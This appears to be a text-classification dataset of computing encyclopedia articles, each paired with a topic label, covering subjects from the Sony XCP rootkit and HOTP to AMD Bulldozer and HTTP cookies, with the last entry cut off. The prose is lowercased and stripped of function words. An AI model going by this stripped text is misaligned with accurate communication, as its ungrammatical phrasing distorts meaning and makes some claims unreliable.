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imonggo imonggo free cloud-based pos small businesses released international tech company movmento pte ltd. 2009 first free web-based pos system available small business imonggo used macos configured safari also supports major internet browsers internet explorer firefox google chrome imonggo version 2.0 first launched 2009 movmento pte ltd.. movmento saas company headquarters singapore sales marketing divisions united states research development teams located philippines imonggo released ipad app january 4 2013 app allows users sell items offline use ipad tablets showcase products customers imonggo downloadable software users must create account online accessed anywhere internet connection imonggo configured pos system well web-based retail management solution allows retailers manage hundreds stores inventory well providing sales analysis business intelligence imonggo allows stores create multiple users well business subsidiaries software also hack-proof ssl encryption protect data also uses several servers different geographical areas back data order ensure business data company lost destroyed software also support peripherals barcode scanners label printers cash drawers check readers receipt printers signature capture pads imonggo partnered authorize.net credit card processing also software partner star micronics co. ltd. imonggo awarded best business software award point sales software category apex 2009 2011 also listed one top 90 cloud computing companies watch
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Distributed computing architecture
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spim spim mips processor simulator designed run assembly language code architecture program simulates r2000 r3000 processors written james r. larus professor university wisconsin–madison mips machine language often taught college-level assembly courses especially using textbook computer organization design hardware/software interface david a. patterson john l. hennessy name simulator reversal letters mips spim simulators available windows pcspim mac os x unix/linux-based xspim operating systems release 8.0 january 2010 simulator licensed standard bsd license january 2011 major release version 9.0 features qtspim new user interface built cross-platform qt ui framework runs windows gnu/linux mac os x version project also moved sourceforge better maintenance precompiled versions qtspim linux 32-bit windows mac os x well pcspim windows provided spim simulator comes rudimentary operating system allows programmer usage common used functions comfortable way functions invoked syscall-instruction os acts depending values specific registers spim os expects label named main handover point os-preamble mars mips assembler runtime simulator java-based ide mips assembly programming language alternative spim initial release 2005 active development imperas suite embedded software development tools mips architecture uses just-in-time compilation emulation simulation technology simulator initially released 2008 active development 30 open source models mips 32 bit 64 bit cores
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Computer architecture
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norton security norton security developed symantec corporation cross-platform security suite provides subscription-based real-time malware prevention removal addition identity theft protection performance tuning tools features include personal firewall email spam filtering phishing protection released september 23 2014 part symantec streamlined norton line replaces long-running norton internet security flagship antivirus product effort streamline large confusing norton product line symantec combined nine standalone norton products one all-purpose suite norton security supersedes norton internet security norton 360 overlapping release cycle saw version 22 initial release former final release latter however version 22 norton 360 norton internet security updates opposed full releases terms similarities differences predecessors norton security retains components norton internet security including antivirus firewall identity theft components adds optimization tools norton 360 norton security available three editions norton security standard one license valid single device norton security deluxe five licenses norton security premium offers ten licenses 25 gb hosted online backup premium subscription symantec parental control system editions include protection windows os x android ios devices however features may vary based operating system
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Computer security
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robby garner robby garner born 1963 american natural language programmer software developer 1998 1999 loebner prize contests program called albert one listed 2001 guinness book world records written human computer program native cedartown georgia robby attended cedartown high school worked father television repair shop began programming family business age 15 commander afjrotc squadron junior high school attending joint-enrollment college classes local community college forming software company called robitron software research inc. 1987 father robert j. garner sister pam worked software developer 1997 father retired company disbanded one first web chatterbots named max headcold written garner 1995 max served two purposes collect data web chat behavior entertain customers fringeware online bookstore program eventually implemented java package called jfred written paco nathan based c++ fred cgi program influences stanford various corporations garner nathan took part world largest online turing test 1998 jfred program perceived human 17 participants computational behaviorist term coined dr. thomas whalen 1995 garner first attempts simulating conversation involved collections internet chat viewed sequence stimuli responses kevin copple ellaz systems collaborated garner several projects including copple ella garner contributed voice recordings music garner copple believe intelligence may built one facet time rather depending general purpose theory emerge competing six loebner prize contests used competition way test prototypes judges year winning contest twice 1998 1999 program called albert one began collaborating software developers variety conversational systems garner created robitron yahoo group 2002 forum virtual watering hole loebner prize contest participants discussion related topics multifaceted approach presented colloquium conversational systems november 2005 involves multiple chat bots working control master control program using technique strengths various web agents may united control java applet servlet control program categorizes stimuli delegates responses programs hierarchy spin-off technique turing hub automated turing test featuring four top loebner prize contest competitors
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Computational linguistics
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extended copy protection extended copy protection xcp software package developed british company first 4 internet 20 november 2006 changed name fortium technologies ltd sold copy protection digital rights management drm scheme compact discs used cds distributed sony bmg sparked 2005 sony bmg cd copy protection scandal context also known sony rootkit security researchers beginning mark russinovich october 2005 described program functionally identical rootkit computer program used computer intruders conceal unauthorised activities computer system russinovich broke story sysinternals blog gained attention media researchers ultimately led civil lawsuit criminal investigations forced sony discontinue use system sony eventually recalled cds contained xcp system web-based uninstaller investigated noted security researchers ed felten alex halderman stated activex component used removing software exposed users far significant security risks including arbitrary code execution websites internet version software used sony cds one marketed xcp-aurora first time user attempts play cd windows system user presented eula refuse accept cd ejected accept software installed eula mention installed hidden software software remain resident user system intercepting accesses cd drive prevent media player ripper software one included xcp-aurora accessing music tracks sony cd obvious way uninstall program provided attempting remove software deleting associated files manually render cd drive inoperable due registry settings program altered however soon discovered software could easily defeated merely using permanent marker draw dark border along edge disk following mark russinovich publication findings security researchers quick publish analyses many findings highly critical sony first 4 internet specifically software found conceal activity manner rootkit expose users follow-on harm viruses trojans xcp cloaking technique makes processes names starting codice_1 invisible used malware piggybacking ensure hidden user view first malicious trojan hide via xcp discovered 10 november 2005 according report bitdefender antivirus company follow-up research felten halderman showed web-based uninstaller sony later offered software contains critical security problems software installs activex component allows web site run software user computer without restriction component used first 4 internet web site download run uninstaller remains active afterward allowing web site user visits take computer since specific microsoft windows xcp effect operating systems linux bsd os/2 solaris os x meaning users systems suffer potential harm software also impeded ripping copying normal music tracks cd discs involved sony scandal contained competing technology mediamax sunncomm attempts install kernel extension mac os x however due permissions mac os x widespread infections among mac users although russinovich first publish rootkit researchers discovered around time either still analyzing chose disclose anything sooner due chilling effect anti-circumvention clause digital millennium copyright act shortly independent researchers broke story security software vendors followed releasing detailed descriptions components xcp well software remove codice_2 cloaking component hand software yet released remove cd-rom filter driver component computer associates makers pestpatrol anti-spyware software characterize xcp software trojan horse rootkit xcp.sony.rootkit installs drm executable windows service misleadingly names service plug play device manager employing technique commonly used malware authors fool everyday users believing part windows approximately every 1.5 seconds service queries primary executables associated processes running machine resulting nearly continuous read attempts hard drive shown shorten drive lifespan furthermore xcp.sony.rootkit installs device driver specifically cd-rom filter driver intercepts calls cd-rom drive process included music player player.exe attempts read audio section cd filter driver inserts seemingly random noise returned data thus making music unlistenable xcp.sony.rootkit loads system filter driver intercepts calls process directory registry listings even unrelated sony bmg application rootkit driver modifies information visible operating system order cloak sony bmg software commonly referred rootkit technology furthermore rootkit affect xcp.sony.rootkit files rootkit hides every file process registry key beginning codice_1 represents vulnerability already exploited hide world warcraft ring0 hacks time writing could potentially hide attacker files processes access infected system gained computer associates announced november 2005 anti-spyware product pestpatrol would able remove sony software one month later microsoft released update windows malicious software removal tool could clean f4irootkit malware somewhat slow incomplete response antivirus companies however questioned bruce schneier information security expert author security articles texts including secrets lies article wired news mr. schneier asks happens creators malware collude companies hire protect us malware answer users lose ... dangerous damaging rootkit gets introduced wild half million computers get infected anyone anything beginning early august 2005 windows users reported crashes related program called aries.sys inexplicably unable find file computers file known part xcp call help host leo laporte said experienced rise reports missing cd-rom drives symptom unsuccessful attempts remove xcp security researcher dan kaminsky used dns cache analysis determine 568,000 networks worldwide may contain least one xcp-infected computer kaminsky technique uses fact dns nameservers cache recently fetched results xcp phones home specific hostname finding dns servers carry hostname cache kaminsky able approximate number networks affected release data kaminsky learned as-yet undetermined number enhanced cds without rootkit also phone home address rootkit-affected discs use infection rates still active investigation according analyst firm gartner xcp suffers flaw implementing drm drm technology current future tries apply drm audio cds designed played stand-alone cd players according gartner installation xcp drm software relies cd multi-session application ink via ordinary felt-tip marker outer edge disk renders data track cd unreadable thereby causing pc treat disc ordinary single-session music cd slysoft anydvd program removes copy protections standard hi-definition video discs also defeats drm audio cds active audio cd inserted anydvd blocks pc accessing session audio rendering data sessions unreadable preventing installation malware xcp much speculation extent actions taken software violation various laws unauthorized tampering computers laws regarding invasion privacy spyware subject sony first 4 internet legal liability states california new york texas well italy already taken legal action companies class action lawsuits likely however mere act attempting view remove software order determine prevent alteration windows would theoretically constitute civil criminal offense certain anti-circumvention legislation controversial digital millennium copyright act united states electronic frontier foundation fred von lohmann also heavily criticised xcp eula calling legalese rootkit one primary reasons xcp experiment lies issue adding drm legacy standard problems explored professor randal picker professor law university chicago school law article mistrust-based digital rights management published volume 5 journal telecommunications high technology law cds incapable updating legacy hardware stand-alone cd players lack ability change upgrade firmware order read drm thus drm must added interfere function legacy players yet still work cd placed computer professor picker analyzes four main issues add-on drm first problem demonstrated xcp example capable consumers simply by-pass drm turning autorun prevented rootkit installation thus invalidated drm scheme second problem consumer reaction adding drm legacy product like music cds traditionally rights management scheme infuriate consumers professor picker points wake negative publicity surrounding sony add-on drm amazon.com began alerting customers sony cds contained xcp customers could avoid drm entirely negating effectiveness third problem lies legal response eff well state attorneys general investigated brought suit sony xcp program professor picker analyze legal merits suits cost litigation potentially outweighs benefit attempting add-on drm fourth final problem lies end user license agreement attempted enforced add-on drm ability actually enforce agreements add-on drm limited mere fact without active registration tracking cds company one enforce therefore expected benefit enforcing eula violators actually non-existent costs however implementing add-on drm scheme form state federal investigations private lawsuits negative publicity consumer backlash technical limitations far outweighs benefits researcher sebastian porst matti nikki number software experts published evidence xcp software infringes copyright lame mp3 encoder mpglib faac id3lib id3 tag reading writing mpg123 vlc media player princeton researcher alex halderman discovered nearly every xcp cd code uses modified version jon johansen drms software allows open apple computer fairplay drm included found code inactive fully functional could use insert songs fairplay drms mpg123 vlc licensed gnu general public license gpl software found like lame licensed terms gnu lesser general public license lgpl also free software claims correct sony/bmg distributing copyrighted material illegally jon johansen wrote blog talking lawyer thinks sue however opinions advice given wrong lame developers put open letter sony/bmg online copyright violations sony could accused include sony already provides version id3lib source code web site unrelated xcp national public radio program thomas hesse president sony bmg global digital business division asked people think n't even know rootkit care explained software designed protect cds unauthorized copying ripping sony also contends component malicious compromise security alleviate concerns users may program posing potential security vulnerabilities update released enable users remove rootkit component computers uninstaller xcp-aurora available sony-bmg web site original uninstaller different analysis uninstaller published mark russinovich initially uncovered xcp titled sony dangerous decloaking patch eulas phoning home obtaining original uninstaller requires one use specific browser microsoft internet explorer fill online form email address receive email install patch fill second online form receive link uninstaller link personalized work multiple uninstalls furthermore sony privacy policy states address used promotions given affiliates reputable third parties may contact directly also reported original uninstaller might security problems would allow remote code execution sony uninstall page would attempt install activex control displayed internet explorer activex control marked safe scripting means web page utilize control methods methods provided control dangerous may allowed attacker upload execute arbitrary code 11 november 2005 sony announced would suspend manufacturing cds using xcp system precautionary measure sony bmg temporarily suspending manufacture cds containing xcp technology said statement also intend re-examine aspects content protection initiative sure continues meet goals security ease consumer use sony bmg added followed comments stewart baker department homeland security assistant secretary policy took drm manufacturers task reported washington post remark clearly aimed directly sony labels stewart continued important remember intellectual property computer pursuit protection intellectual property important defeat undermine security measures people need adopt days according new york times sony bmg said 4.7 million cds containing software shipped 2.1 million sold 52 albums distributed sony-bmg contained xcp 14 november 2005 sony announced recalling affected cds plans offer exchanges consumers purchased discs electronic frontier foundation published original list 19 titles 9 november 2005 15 november 2005 register published article saying may many 47 titles sony bmg says 52 xcp cds amazon says treating xcp cds defective merchandise offer refund shipping long customer specifies request various adverse side-effects xcp rationally viewed defects part apparent intended function xcp view skirts substantive issue whether sony transgressed computer owners intentionally modifying computer systems without consent
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Computer security
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hmac-based one-time password algorithm hmac-based one-time password algorithm hotp one-time password otp algorithm based hash-based message authentication codes hmac cornerstone initiative open authentication oath hotp published informational ietf rfc 4226 december 2005 documenting algorithm along java implementation since algorithm adopted many companies worldwide see hotp algorithm freely available open standard hotp algorithm provides method authentication symmetric generation human-readable passwords values used one authentication attempt one-time property leads directly single use counter value parties intending use hotp must establish typically specified authenticator either accepted authenticated parties compute hotpvalue authenticator checks locally-generated value value supplied authenticated authenticator authenticated increment counter independently latter may increase ahead former thus resynchronisation protocol wise rfc4426 n't actually require make recommendation simply authenticator repeatedly try verification ahead counter window size authenticator counter continues forward value verification succeeds requires actions authenticated recommendation made persistent throttling hotpvalue verification take place address relatively small size thus vulnerability brute force attacks suggested verification locked small number failed attempts failed attempt attracts additional linearly-increasing delay 6-digit codes commonly provided proprietary hardware tokens number vendors informing default value truncation extracts 31 bits formula_1 ≈ 9.3 decimal digits meaning 10 10th digit providing less extra variation taking values 0 1 2 i.e. 0.3 digits verification authenticator authenticate simply generating next hotpvalue returning authenticated generate hotpvalue verify note counters guaranteed synchronised point process hotpvalue human-readable design output -digit decimal number without omission leading 0s value least significant base-10 digits hotp hotp truncation hash-based message authentication code hmac counter c key k hash function h truncation first takes 4 least significant bits mac uses offset index used select 31 bits mac starting bit 1 note 31 bits single bit short 4-byte word thus value placed inside word without using sign bit significant bit done definitely avoid modular arithmetic negative numbers many differing definitions implementations hardware software tokens available various vendors see references hardware tokens implementing oath hotp tend significantly cheaper competitors based proprietary algorithms 2010 oath hotp hardware tokens purchased marginal price products used strong passwords well oath hotp software tokens available nearly major mobile/smartphone platforms j2me android iphone blackberry maemo macos windows mobile although reception computer press negative 2004 2005 ietf adopted hotp rfc 4226 december 2005 various vendors started produce hotp compatible tokens and/or whole authentication solutions according paper strong authentication entitled road map replacing passwords otp authentication published burton group division gartner inc. 2010 gartner expectation hardware otp form factor continue enjoy modest growth smartphone otps grow become default hardware platform time
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Internet protocols
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tr-dos tr-dos disk operating system zx spectrum beta disc beta 128 disc interfaces tr-dos beta disc developed technology research ltd uk 1984 became standard disk releases zx spectrum especially modern programs made tr-dos opposed disk systems current emulators support tr-dos disk images formats .trd .scl clone interface also used russian pentagon scorpion machines latest official firmware version 5.03 1986 unofficial versions various enhancements bug-fixes released since 1990 latest 6.10e 2006 tr-dos handles ss/ds sd/dd floppy disks modern versions support ram disk versions support hard disks
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Operating systems
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cyberciege cyberciege serious game designed teach network security concepts development sponsored u.s. navy used training tool agencies u.s. government universities community colleges cyberciege covers broad range cybersecurity topics players purchase configure computers network devices keep demanding users happy e.g. providing internet access protecting assets variety attacks game includes number different scenarios focus basic training awareness others advanced network security concepts scenario development kit available creating customizing scenarios network security components include configurable firewalls vpn gateways vpn clients link encryptors authentication servers workstations servers include access control lists acls may configured operating systems enforce label-based mandatory access control policies players deploy public key infrastructure pki -based cryptography protect email web traffic vpns game also includes identity management devices biometric scanners card readers control access workstations physical areas cyberciege game engine consumes “ scenario development language ” describes scenario terms users goals assets values initial state scenario terms pre-existing components conditions triggers provide flow scenario game engine defined enough fidelity host scenarios ranging e-mail attachment awareness cyber warfare cyberciege scenarios place player situations player must make information assurance decisions interactive simulation illustrates potential consequences player choices terms attacks information assets disruptions authorized user access assets game employs hyperbole means engaging students scenario thus simulation intended always identify actual consequences specific choices game confronts student problems conflicts questions considered developing implementing security policy game designed construction management simulation set three-dimensional virtual world players build networks observe virtual users thoughts scenario divided multiple phases phase includes one objectives player must achieve prior moving next phase players view status virtual user ’ success achieving goals i.e. accessing enterprise assets via computers networks unproductive users express unhappy thoughts utter comic book style speech bubbles bang keyboards players see consequences attacks lost money pop-up messages video clips burning computers cyberciege includes sophisticated attack engine assesses network topologies component configurations physical security user training procedural security settings attack engine weighs resultant vulnerabilities attacker motives compromise assets network—and motive may vary asset thus assets might defended via firewall assets might require air gap high assurance protection mechanisms attack types include trojan horses viruses trap doors denial service insiders i.e. bribed users lack background checks un-patched flaws physical attacks attack engine coupled economy engine measures virtual user ’ ability achieve goals i.e. read write assets using computers networks combination supports scenarios illustrate real-world trade-offs use air-gaps versus risks cross-domain solutions accessing assets classified unclassified networks game engine includes defined set assessable conditions resultant triggers allow scenario designer provide players feedback e.g. bubble speech characters screen tickers pop-up messages etc transition game new phases fidelity game engine intended high enough players make meaningful choices respect deploying network security countermeasures high engulf player administrative minutiae cyberciege illustrates abstract functions technical protection mechanisms configuration-related vulnerabilities example attack might occur particular firewall port left open specific software service patched cyberciege designed provide fairly consistent level abstraction among various network computer components technical countermeasures seen considering several cyberciege game components cyberciege firewalls include network filters let players block traffic selected application “ ports ” e.g. telnet players configure filters different network interfaces different traffic directions lets players see consequences leaving ports open e.g. attacks allows players experience need open ports e.g. one characters might unable achieve goal unless filter configured allow ssh traffic cyberciege includes vpn gateways computer based vpn mechanisms players configure identify characteristics protection e.g. encryption authentication neither provided network traffic depending source destination allows cyberciege illustrate risks associated providing unprotected internet access workstation vpn tunnel corporate network network components e.g. workstations include configuration choices related type component cyberciege lets players select consequential password policies procedural configuration settings
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Computer security
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skygrabber skygrabber software russian company skysoftware accepts input digital satellite tuner card hard drive recording used iraqi insurgents group kata'ib hezbollah intercept mq-1 predator drone video feeds encrypted encryption feeds removed performance reasons
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Computer security
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helicon ape helicon ape piece software helicon tech destined introduce apache functionality iis web servers helicon ape realized asp.net module iis 7 higher implementing functionality 35 apache modules allows using apache configurations leaving syntax intact iis extend standard iis capabilities aside realization apache modules helicon ape possesses proprietary modules server-side debugging profiling mod_developer seo optimization mod_linkfreeze hotlinking protection mod_hotlink helicon ape gui interface see screenshot allows easy configs editing directives auto-completion spell-check features supported browsing includes regular expressions tester password generation utility list modules currently supported helicon ape helicon ape designed specifically benefit advantages iis 7 architecture 100 operability ensured iis 7 higher windows vista windows server 2008 windows 7 windows server 2008 r2 iis6 windows server 2003 helicon ape offers slightly limited functionality see compatibility chart three license types available helicon ape
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Web technology
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bulldozer microarchitecture amd bulldozer family 15h microprocessor microarchitecture fx opteron line processors developed amd desktop server markets bulldozer codename family microarchitectures released october 12 2011 successor k10 microarchitecture bulldozer designed scratch development earlier processors core specifically aimed computing products tdps 10 125 watts amd claims dramatic performance-per-watt efficiency improvements high-performance computing hpc applications bulldozer cores bulldozer cores support instruction sets implemented intel processors available introduction including sse4.1 sse4.2 aes clmul avx well new instruction sets proposed amd abm xop fma4 f16c bulldozer gen4 excavator supports avx2 instruction sets according amd bulldozer-based cpus based globalfoundries 32 nm silicon insulator soi process technology reuses approach dec multitasking computer performance arguments according press notes balances dedicated shared computer resources provide highly compact high units count design easily replicated chip performance scaling words eliminating redundant elements naturally creep multicore designs amd hoped take better advantage hardware capabilities using less power bulldozer-based implementations built 32nm soi hkmg arrived october 2011 servers desktops server segment included dual chip 16-core opteron processor codenamed interlagos socket g34 single chip 4 6 8 cores valencia socket c32 zambezi 4 6 8 cores targeted desktops socket am3+ bulldozer first major redesign amd ’ processor architecture since 2003 firm launched k8 processors also features two 128-bit fma-capable fpus combined one 256-bit fpu design accompanied two integer clusters 4 pipelines fetch/decode stage shared bulldozer also introduced shared l2 cache new architecture amd calls design module 16-core processor design would feature eight modules operating system recognize module two logical cores modular architecture consists multithreaded shared l2 cache flexfpu uses simultaneous multithreading physical integer core two per module single threaded contrast intel hyperthreading two virtual simultaneous threads share resources single physical core bulldozer introduced clustered multithreading cmt parts processor shared two threads parts unique thread terms hardware complexity functionality bulldozer cmt module equal dual-core processor integer power either single-core processor dual core floating-point power depending whether code saturated floating point instructions threads running cmt module whether fpu performing 128-bit 256-bit floating point operations reason two integer cores floating-point unit consisting pair 128-bit fmac execution units cmt simpler similar design philosophy smt designs try utilize execution units efficiently either method two threads compete execution pipelines loss performance one threads due dedicated integer cores bulldozer family modules performed roughly like dual core dual thread processor sections code either wholly integer mix integer floating point yet due smt use shared floating point pipelines module would perform similarly single core dual thread smt processor smt2 pair threads saturated floating point instructions last two comparisons make assumption comparison processor possesses equally wide capable execution core integer-wise floating-point wise respectively cmt smt peak effectiveness running integer floating point code pair threads cmt stays peak effectiveness working pair threads consisting integer code smt one threads underperform due competition integer execution units disadvantage cmt greater number idle integer execution units single threaded case single threaded case cmt limited use half integer execution units module smt imposes limit large smt core integer circuitry wide fast two cmt cores could theory momentarily twice integer performance single thread case realistically general code whole pollack rule estimates speedup factor formula_1 approximately 40 increase performance cmt processors typical smt processor similar efficient shared use l2 cache pair threads longer pipeline allowed bulldozer family processors achieve much higher clock frequency compared k10 predecessors increased frequencies throughput longer pipeline also increased latencies increased branch misprediction penalties issue widths peak instruction executions per cycle jaguar k10 bulldozer core 2 3 4 respectively made bulldozer superscalar design compared jaguar/bobcat however due k10 somewhat wider core addition lack refinements optimizations first generation design bulldozer architecture typically performed somewhat lower ipc compared k10 predecessors refinements made piledriver steamroller ipc bulldozer family distinctly began exceed k10 processors phenom ii first revenue shipments bulldozer-based opteron processors announced september 7 2011 fx-4100 fx-6100 fx-8120 fx-8150 released october 2011 remaining fx series amd processors released end first quarter 2012 major sources cpu-world xbit-labs two series bulldozer-based processors servers opteron 4200 series socket c32 code named valencia four modules opteron 6200 series socket g34 code named interlagos 8 modules november 2015 amd sued california consumers legal remedies act unfair competition law allegedly misrepresenting specifications bulldozer chips class-action lawsuit filed 26 october us district court northern district california claims bulldozer module fact single cpu core dual-core traits rather true dual-core design 24 october 2011 first generation tests done phoronix confirmed performance bulldozer cpu somewhat less expected many tests cpu performed level older generation phenom 1060t performance later substantially increased various compiler optimizations cpu driver fixes released first bulldozer cpus met mixed response discovered fx-8150 performed poorly benchmarks highly threaded falling behind second-generation intel core i* series processors matched even outperformed amd phenom ii x6 lower clock speeds highly threaded benchmarks fx-8150 performed par phenom ii x6 intel core i7 2600k depending benchmark given overall consistent performance intel core i5 2500k lower price results left many reviewers underwhelmed processor found extremely power-hungry load especially overclocked compared intel sandy bridge 13 october 2011 amd stated blog community feel product performance meet expectations showed benchmarks actual applications outperformed sandy bridge i7 2600k amd x6 1100t january 2012 microsoft released two hotfixes windows 7 server 2008 r2 marginally improve performance bulldozer cpus addressing thread scheduling concerns raised release bulldozer 6 march 2012 amd posted knowledge base article stating compatibility problem fx processors certain games widely used digital game distribution platform steam amd stated provided bios update several motherboard manufacturers namely asus gigabyte technology msi asrock would fix problem september 2014 amd ceo rory read conceded bulldozer design game-changing part amd live design four years july 29 2015 microsoft released direct x 12 api dx12 windows 10 operating system api allows programmers achieve greater parallelism notably graphics intensive game titles dx12 titles make better use higher core counts high thread count processor bulldozer family fx-6300 fx-8100 series chips extending usability systems windows 10 31 august 2011 amd group well-known overclockers including brian mclachlan sami mäkinen aaron schradin simon solotko managed set new world record cpu frequency using unreleased overclocked fx-8150 bulldozer processor day record sat 8.309 ghz bulldozer combined liquid helium cooling reached new high 8.429 ghz record since overtaken 8.58 ghz andre yang using liquid nitrogen august 22 2014 using fx-8370 piledriver stilt team finland achieved maximum cpu frequency 8.722 ghz piledriver amd codename improved second-generation microarchitecture based bulldozer amd piledriver cores found socket fm2 trinity richland based series apus cpus socket am3+ vishera based fx-series cpus piledriver last generation bulldozer family available socket am3+ available l3 cache piledriver processors available fm2 mobile variant sockets come l3 cache l2 cache last-level cache fm2/fm2+ processors steamroller amd codename third-generation microarchitecture based improved version piledriver steamroller cores found socket fm2+ kaveri based series apus cpus excavator codename fourth-generation bulldozer core excavator implemented 'carrizo a-series apus athlon x4 cpus
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Computer architecture
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post processor post processor unique driver specific cnc machine robot mechanism machines start different locations require extra movement operation post-processor works cam software off-line programming software make sure g-code output program correct specific trademark machine control cabinet fanuc siemens-sinumeric mazak-mazatrol heidenhein deckel-maho etc cam software uses geometry cad model converts g-code cam software analyzes cad model determines tooling toolpaths used mill desired features requires cam post processor generates exact g-code dialect used machine control module sinumeric fanuc mazatrol heidenhein toshiba etc targeted instance translation often referred post different “ post ” g-code dialect cam software supports post processors usually convert g-code one dialect next rather “ post ” uses intermediate format captures g-code commands dialect-independent form cam software accomplishes intermediate format called cl.data please adjust terms post processor software subroutine sub-program converts graphical non-graphical cam software toolpath outcome specific nc control fanuc sinumeric mazatrol heidenhein post processor independent hardware software adapting compiling toolpath machine readable language motions post-processor alter program output suit specific machine post used complex things like producing proprietary machine language g-code m-code post-processor may used start machine specific position another example use post-processor would atc automatic-tool-change cnc post-processor required correct tool collected correct location devices connect computer using serial communication cnc devices connect using parallel communication post-processor influence communication machine software post processors context web development development general
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Operating systems
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http cookie http cookie also called web cookie internet cookie browser cookie simply cookie small piece data sent website stored user computer user web browser user browsing cookies designed reliable mechanism websites remember stateful information items added shopping cart online store record user browsing activity including clicking particular buttons logging recording pages visited past also used remember arbitrary pieces information user previously entered form fields names addresses passwords credit card numbers cookies perform essential functions modern web perhaps importantly authentication cookies common method used web servers know whether user logged account logged without mechanism site would know whether send page containing sensitive information require user authenticate logging security authentication cookie generally depends security issuing website user web browser whether cookie data encrypted security vulnerabilities may allow cookie data read hacker used gain access user data used gain access user credentials website cookie belongs see cross-site scripting cross-site request forgery examples tracking cookies especially third-party tracking cookies commonly used ways compile long-term records individuals browsing histories potential privacy concern prompted european u.s. lawmakers take action 2011 european law requires websites targeting european union member states gain informed consent users storing non-essential cookies device google project zero researcher jann horn describes ways cookies read intermediaries like wi-fi hotspot providers recommends use browser incognito mode circumstances term cookie coined web browser programmer lou montulli derived term magic cookie packet data program receives sends back unchanged used unix programmers magic cookies already used computing computer programmer lou montulli idea using web communications june 1994 time employee netscape communications developing e-commerce application mci vint cerf john klensin represented mci technical discussions netscape communications mci want servers retain partial transaction states led ask netscape find way store state user computer instead cookies provided solution problem reliably implementing virtual shopping cart together john giannandrea montulli wrote initial netscape cookie specification year version 0.9beta mosaic netscape released october 13 1994 supported cookies first use cookies labs checking whether visitors netscape website already visited site montulli applied patent cookie technology 1995 granted 1998 support cookies integrated internet explorer version 2 released october 1995 introduction cookies widely known public time particular cookies accepted default users notified presence general public learned cookies financial times published article february 12 1996 year cookies received lot media attention especially potential privacy implications cookies discussed two u.s. federal trade commission hearings 1996 1997 development formal cookie specifications already ongoing particular first discussions formal specification started april 1995 www-talk mailing list special working group within internet engineering task force ietf formed two alternative proposals introducing state http transactions proposed brian behlendorf david kristol respectively group headed kristol lou montulli soon decided use netscape specification starting point february 1996 working group identified third-party cookies considerable privacy threat specification produced group eventually published rfc 2109 february 1997 specifies third-party cookies either allowed least enabled default time advertising companies already using third-party cookies recommendation third-party cookies rfc 2109 followed netscape internet explorer rfc 2109 superseded rfc 2965 october 2000 rfc 2965 added codice_1 header informally came called rfc 2965-style cookies opposed original codice_2 header called netscape-style cookies codice_1 seldom used however deprecated rfc 6265 april 2011 written definitive specification cookies used real world session cookie also known in-memory cookie transient cookie non-persistent cookie exists temporary memory user navigates website web browsers normally delete session cookies user closes browser unlike cookies session cookies expiration date assigned browser knows treat session cookies instead expiring web browser closed session cookies persistent cookie expires specific date specific length time means cookie entire lifespan long short creators want information transmitted server every time user visits website belongs every time user views resource belonging website another website advertisement reason persistent cookies sometimes referred tracking cookies used advertisers record information user web browsing habits extended period time however also used legitimate reasons keeping users logged accounts websites avoid re-entering login credentials every visit secure cookie transmitted encrypted connection i.e https transmitted unencrypted connections i.e http makes cookie less likely exposed cookie theft via eavesdropping cookie made secure adding codice_4 flag cookie http-only cookie accessed client-side apis javascript restriction eliminates threat cookie theft via cross-site scripting xss however cookie remains vulnerable cross-site tracing xst cross-site request forgery xsrf attacks cookie given characteristic adding codice_5 flag cookie 2016 google chrome version 51 introduced new kind cookie same-site cookie sent requests originating origin target domain restriction mitigates attacks cross-site request forgery xsrf cookie given characteristic setting codice_6 flag codice_7 codice_8 normally cookie domain attribute match domain shown web browser address bar called first-party cookie third-party cookie however belongs domain different one shown address bar sort cookie typically appears web pages feature content external websites banner advertisements opens potential tracking user browsing history often used advertisers effort serve relevant advertisements user example suppose user visits codice_9 website contains advertisement codice_10 downloaded sets cookie belonging advertisement domain codice_10 user visits another website codice_12 also contains advertisement codice_10 sets cookie belonging domain codice_10 eventually cookies sent advertiser loading advertisements visiting website advertiser use cookies build browsing history user across websites ads advertiser websites setting cookies readable 100 third-party domains average single website setting 10 cookies maximum number cookies first- third-party reaching 800 modern web browsers contain privacy settings block third-party cookies supercookie cookie origin top-level domain codice_15 public suffix codice_16 ordinary cookies contrast origin specific domain name codice_17 supercookies potential security concern therefore often blocked web browsers unblocked browser attacker control malicious website could set supercookie potentially disrupt impersonate legitimate user requests another website shares top-level domain public suffix malicious website example supercookie origin codice_15 could maliciously affect request made codice_17 even cookie originate codice_17 used fake logins change user information public suffix list helps mitigate risk supercookies pose public suffix list cross-vendor initiative aims provide accurate up-to-date list domain name suffixes older versions browsers may up-to-date list therefore vulnerable supercookies certain domains term supercookie sometimes used tracking technologies rely http cookies two supercookie mechanisms found microsoft websites august 2011 cookie syncing respawned muid machine unique identifier cookies etag cookies due media attention microsoft later disabled code zombie cookie cookie automatically recreated deleted accomplished storing cookie content multiple locations flash local shared object html5 web storage client-side even server-side locations cookie absence detected cookie recreated using data stored locations cookie consists following components cookies originally introduced provide way users record items want purchase navigate throughout website virtual shopping cart shopping basket today however contents user shopping cart usually stored database server rather cookie client keep track user assigned shopping cart server sends cookie client contains unique session identifier typically long string random letters numbers cookies sent server every request client makes session identifier sent back server every time user visits new page website lets server know shopping cart display user another popular use cookies logging websites user visits website login page web server typically sends client cookie containing unique session identifier user successfully logs server remembers particular session identifier authenticated grants user access services session cookies contain unique session identifier makes amount personal information website save user virtually limitless—the website limited restrictions concerning large cookie session cookies also help improve page load times since amount information session cookie small requires little bandwidth cookies used remember information user order show relevant content user time example web server might send cookie containing username last used log website may filled automatically next time user logs many websites use cookies personalization based user preferences users select preferences entering web form submitting form server server encodes preferences cookie sends cookie back browser way every time user accesses page website server personalize page according user preferences example google search engine used cookies allow users even non-registered ones decide many search results per page wanted see also duckduckgo uses cookies allow users set viewing preferences like colors web page tracking cookies used track users web browsing habits also done extent using ip address computer requesting page referer field http request header cookies allow greater precision demonstrated follows analyzing log file possible find pages user visited sequence long corporations exploit users web habits tracking cookies collect information buying habits wall street journal found america top fifty websites installed average sixty-four pieces tracking technology onto computers resulting total 3,180 tracking files data collected sold bidding corporations cookies arbitrary pieces data usually chosen first sent web server stored client computer web browser browser sends back server every request introducing states memory previous events otherwise stateless http transactions without cookies retrieval web page component web page would isolated event largely unrelated page views made user website although cookies usually set web server also set client using scripting language javascript unless cookie codice_5 flag set case cookie modified scripting languages cookie specifications require browsers meet following requirements order support cookies cookies set using codice_2 http header sent http response web server header instructs web browser store cookie send back future requests server browser ignore header support cookies disabled cookies example browser sends first request homepage codice_9 website get /index.html http/1.1 host www.example.org server responds two codice_2 